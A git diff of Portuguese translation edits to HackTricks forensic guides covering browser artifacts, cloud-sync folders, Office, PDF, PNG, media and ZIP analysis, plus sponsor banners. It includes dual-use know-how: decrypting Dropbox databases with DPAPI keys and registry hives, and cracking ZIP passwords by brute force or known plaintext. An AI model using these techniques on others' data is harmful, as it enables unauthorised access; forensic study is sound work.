`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como Skype. +Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como o Skype. ### Inspeção de Cache @@ -132,7 +132,7 @@ A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ### Gerenciamento de Cookies -Os cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acessos e vários detalhes relacionados ao tempo. Cookies persistentes são armazenados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, com cookies de sessão residindo na memória. +Os cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acesso e vários detalhes relacionados ao tempo. Cookies persistentes são armazenados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, com cookies de sessão residindo na memória. ### Detalhes de Download @@ -162,7 +162,7 @@ Os dados do Safari são armazenados em `/Users/$User/Library/Safari`. Os arquivo * **History.db**: Contém tabelas `history_visits` e `history_items` com URLs e timestamps de visita. Use `sqlite3` para consultar. * **Downloads.plist**: Informações sobre arquivos baixados. -* **Bookmarks.plist**: Armazena URLs marcadas. +* **Bookmarks.plist**: Armazena URLs favoritas. * **TopSites.plist**: Sites mais visitados. * **Extensions.plist**: Lista de extensões do navegador Safari. Use `plutil` ou `pluginkit` para recuperar. * **UserNotificationPermissions.plist**: Domínios permitidos para enviar notificações. Use `plutil` para analisar. @@ -187,7 +187,7 @@ Esses caminhos e comandos são cruciais para acessar e entender os dados de nave
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas mais avançadas** da comunidade.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas mais avançadas** da comunidade.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index dd51b3d55..8e09c45f1 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -54,16 +54,16 @@ End With End Function ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 016d26174..abe30f5e4 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -36,7 +36,7 @@ No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppDa * Hora de geração do relatório * Tamanho do HD do sistema operacional -Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos contendo esse ID**. Você pode encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes, como os nomes dos arquivos sincronizados com o OneDrive. +Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos contendo esse ID**. Você pode ser capaz de encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes como os nomes dos arquivos sincronizados com o OneDrive. ## Google Drive @@ -74,7 +74,7 @@ No entanto, as principais informações são: * **Algoritmo**: PBKDF2 * **Iterações**: 1066 -Além dessas informações, para descriptografar os bancos de dados, você ainda precisa: +Além dessas informações, para descriptografar os bancos de dados você ainda precisa: * A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário) * Os **hives** **`SYSTEM`** e **`SECURITY`** @@ -118,7 +118,7 @@ Outras tabelas dentro deste banco de dados contêm informações mais interessan \ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\ -Obtenha Acesso Hoje: +Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 5b68047df..b56603fc2 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -18,7 +18,7 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} @@ -27,9 +27,9 @@ Para mais informações, consulte [https://trailofbits.github.io/ctf/forensics/] A Microsoft criou muitos formatos de documentos do Office, sendo os dois principais tipos os **formatos OLE** (como RTF, DOC, XLS, PPT) e os **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Esses formatos podem incluir macros, tornando-os alvos para phishing e malware. Os arquivos OOXML são estruturados como contêineres zip, permitindo a inspeção através da descompactação, revelando a hierarquia de arquivos e pastas e o conteúdo dos arquivos XML. -Para explorar as estruturas de arquivos OOXML, o comando para descompactar um documento e a estrutura de saída são fornecidos. Técnicas para ocultar dados nesses arquivos foram documentadas, indicando inovação contínua na ocultação de dados dentro dos desafios CTF. +Para explorar as estruturas de arquivos OOXML, o comando para descompactar um documento e a estrutura de saída são fornecidos. Técnicas para ocultar dados nesses arquivos foram documentadas, indicando inovação contínua na ocultação de dados dentro de desafios CTF. -Para análise, **oletools** e **OfficeDissector** oferecem conjuntos de ferramentas abrangentes para examinar documentos OLE e OOXML. Essas ferramentas ajudam a identificar e analisar macros incorporadas, que muitas vezes servem como vetores para entrega de malware, normalmente baixando e executando cargas úteis maliciosas adicionais. A análise de macros VBA pode ser realizada sem o Microsoft Office utilizando o Libre Office, que permite depuração com pontos de interrupção e variáveis de observação. +Para análise, **oletools** e **OfficeDissector** oferecem conjuntos de ferramentas abrangentes para examinar documentos OLE e OOXML. Essas ferramentas ajudam a identificar e analisar macros incorporadas, que muitas vezes servem como vetores para entrega de malware, normalmente baixando e executando cargas maliciosas adicionais. A análise de macros VBA pode ser realizada sem o Microsoft Office utilizando o Libre Office, que permite depuração com pontos de interrupção e variáveis de observação. A instalação e o uso de **oletools** são diretos, com comandos fornecidos para instalação via pip e extração de macros de documentos. A execução automática de macros é acionada por funções como `AutoOpen`, `AutoExec` ou `Document_Open`. ```bash diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 45d854861..eff743859 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -25,7 +25,7 @@ Acesse hoje: **Para mais detalhes, confira:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem estar comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami. +O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem ser comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami. Para exploração ou manipulação aprofundada de PDFs, ferramentas como [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf) estão disponíveis. Dados ocultos dentro de PDFs podem estar escondidos em: diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 32612845c..2b318533a 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,20 +1,35 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -Os arquivos **PNG** são altamente considerados em desafios de **CTF** por sua **compressão sem perdas**, tornando-os ideais para incorporar dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias. +**Arquivos PNG** são altamente valorizados em **desafios CTF** por sua **compressão sem perdas**, tornando-os ideais para embutir dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias. -Para verificar a integridade de arquivos PNG e reparar corrupções, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de correções simples, serviços online como [PixRecovery da OfficeRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, auxiliando na recuperação de dados cruciais para os participantes de CTF. +Para verificar a integridade de arquivos PNG e reparar corrupção, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de correções simples, serviços online como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, ajudando na recuperação de dados cruciais para participantes de CTF. -Essas estratégias destacam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos. +Essas estratégias ressaltam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index f014ea02d..c62d023c5 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,42 +1,43 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -A manipulação de arquivos de áudio e vídeo é fundamental em desafios de **forense CTF**, aproveitando a **esteganografia** e a análise de metadados para ocultar ou revelar mensagens secretas. Ferramentas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** são essenciais para inspecionar metadados de arquivos e identificar tipos de conteúdo. +**Manipulação de arquivos de áudio e vídeo** é um elemento básico em **desafios de forense CTF**, aproveitando **esteganografia** e análise de metadados para ocultar ou revelar mensagens secretas. Ferramentas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** são essenciais para inspecionar metadados de arquivos e identificar tipos de conteúdo. -Para desafios de áudio, o **[Audacity](http://www.audacityteam.org/)** se destaca como uma ferramenta principal para visualizar formas de onda e analisar espectrogramas, essenciais para descobrir texto codificado em áudio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** é altamente recomendado para análise detalhada de espectrogramas. O **Audacity** permite a manipulação de áudio, como desacelerar ou reverter faixas para detectar mensagens ocultas. O **[Sox](http://sox.sourceforge.net/)**, um utilitário de linha de comando, se destaca na conversão e edição de arquivos de áudio. +Para desafios de áudio, **[Audacity](http://www.audacityteam.org/)** se destaca como uma ferramenta de primeira linha para visualizar formas de onda e analisar espectrogramas, essenciais para descobrir texto codificado em áudio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** é altamente recomendado para análise detalhada de espectrogramas. **Audacity** permite manipulação de áudio, como desacelerar ou inverter faixas para detectar mensagens ocultas. **[Sox](http://sox.sourceforge.net/)**, uma utilidade de linha de comando, se destaca na conversão e edição de arquivos de áudio. -A manipulação dos **Bits Menos Significativos (LSB)** é uma técnica comum em esteganografia de áudio e vídeo, explorando os pedaços de tamanho fixo dos arquivos de mídia para incorporar dados discretamente. O **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** é útil para decodificar mensagens ocultas como tons **DTMF** ou **código Morse**. +A manipulação de **Bits Menos Significativos (LSB)** é uma técnica comum em esteganografia de áudio e vídeo, explorando os blocos de tamanho fixo de arquivos de mídia para embutir dados discretamente. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** é útil para decodificar mensagens ocultas como **tons DTMF** ou **código Morse**. -Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. O **[FFmpeg](http://ffmpeg.org/)** é a ferramenta padrão para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, o **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg no Python para interações scriptáveis avançadas. +Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. **[FFmpeg](http://ffmpeg.org/)** é a escolha ideal para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg no Python para interações avançadas e scriptáveis. Essa variedade de ferramentas destaca a versatilidade necessária em desafios CTF, onde os participantes devem empregar um amplo espectro de técnicas de análise e manipulação para descobrir dados ocultos em arquivos de áudio e vídeo. -## Referências +## References * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - + + {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 1efa237d2..4c823b782 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,31 +1,46 @@ -# Truques com arquivos ZIP +# ZIPs tricks {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -As **ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades-chave: +**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades chave: - **`unzip`**: Revela por que um arquivo zip pode não descompactar. -- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato do arquivo zip. -- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-los. -- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tente reparar arquivos zip corrompidos. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebrar senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres. +- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip. +- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo. +- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra de senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres. -A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões de arquivos zip. +A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip. -É crucial observar que arquivos zip protegidos por senha **não criptografam os nomes de arquivos ou tamanhos de arquivos** dentro deles, uma falha de segurança não compartilhada com arquivos RAR ou 7z que criptografam essas informações. Além disso, arquivos zip criptografados com o método ZipCrypto mais antigo são vulneráveis a um **ataque de texto simples** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais detalhadamente neste [artigo acadêmico](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, destacando a importância de escolher métodos de criptografia seguros para dados sensíveis. +É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** dentro, uma falha de segurança que não é compartilhada com arquivos RAR ou 7z, que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **ataque de texto simples** se uma 